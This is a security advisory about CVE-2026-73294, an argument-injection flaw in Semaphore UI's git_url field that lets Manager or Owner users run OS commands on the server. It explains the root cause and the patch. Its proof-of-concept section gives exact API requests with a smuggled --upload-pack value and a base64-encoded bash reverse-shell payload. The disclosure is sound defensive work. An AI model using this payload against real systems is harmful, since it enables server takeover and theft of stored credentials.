critical · 9.9CVE-2026-73294Sep 8, 2026

CVE-2026-73294: Semaphore UI OS Command Injection via git_url Argument Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any project Manager or Owner in Semaphore UI can inject an arbitrary OS command into the git_url field of a repository, causing the Semaphore server itself to execute it and giving the attacker a…

Packagegithub.com/semaphoreui/semaphore
Ecosystemgo
Affected< 0.0.0-20260704181911-7e8a9434bd81
Fixed in0.0.0-20260704181911-7e8a9434bd81
CVE-2026-73294: Semaphore UI OS Command Injection via git_url Argument Injection

The problem

Semaphore UI passes the user-supplied git_url field directly to exec.Command("git", "ls-remote", <git_url>, <branch>) without validation or a -- end-of-options separator. Because git treats --upload-pack=<cmd> as a legitimate option, any string starting with that prefix becomes a shell command executed by git on the server.

The injection fires inside the main server process via the schedule commit-hash poller, not inside a job runner. This means remote-runner isolation provides zero protection, and a successful exploit leaks the master access_key_encryption secret along with every project's stored credentials.

Proof of concept

A working proof-of-concept for CVE-2026-73294 in github.com/semaphoreui/semaphore, with the exact payload below.

http
# Step 1 — create a repository with the injected git_url (as a Manager/Owner)
POST /api/project/1/repositories
Content-Type: application/json

{
  "name": "r",
  "project_id": 1,
  "git_url": "--upload-pack=bash -c \"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash\";true",
  "git_branch": "master",
  "ssh_key_id": 1
}

# Step 2 — create a schedule referencing that repository (triggers the poller)
POST /api/project/1/schedules
Content-Type: application/json

{
  "name": "s",
  "project_id": 1,
  "template_id": 1,
  "repository_id": <repo_id_from_step1>,
  "cron_format": "* * * * *"
}

# Within ~60 s the schedule fires; git executes:
# sh -c "bash -c 'echo <b64> | base64 -d | bash' 'master'"
# The base64 payload decodes to: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

The root cause is two missing controls acting together. First, Repository.Validate() in db/Repository.go checks the branch for a leading - via ValidateGitBranch, but applies no equivalent check to GitURL, accepting any non-empty string verbatim. Second, CmdGitClient.GetLastRemoteCommitHash in db_lib/CmdGitClient.go builds the git ls-remote argv with no -- separator before the URL, so a value starting with --upload-pack= is parsed by git as an option rather than a positional argument.

git's --upload-pack option is documented to execute its value via sh -c, which is intentional git behavior for custom transports. The fault is entirely Semaphore's: it passes attacker-controlled data into that argv slot without sanitization. The CWE chain is CWE-88 (argument injection) promoting to CWE-78 (OS command injection).

The patch commits (7e8a9434 and a7a7a33a) add ValidateGitURL to reject option-like prefixes and insert a -- separator before the URL in the ls-remote invocation, closing both vectors.

The fix

Upgrade to Semaphore UI v2.18.17 (stable) or v2.19.5-beta2. The fixes land in commit 7e8a9434bd81b82cf42220151c74801ea97542d6 and a7a7a33a64aea382a0726b3722856f298663eacf: git_url is now rejected if it begins with -- or another option-like prefix, and git ls-remote is called with -- before the URL argument.

If you cannot upgrade immediately, restrict project Manager/Owner role assignment to fully trusted users only.

Reported by fiftin (Denis Gukov).

References: [1][2][3][4][5][6]

Related research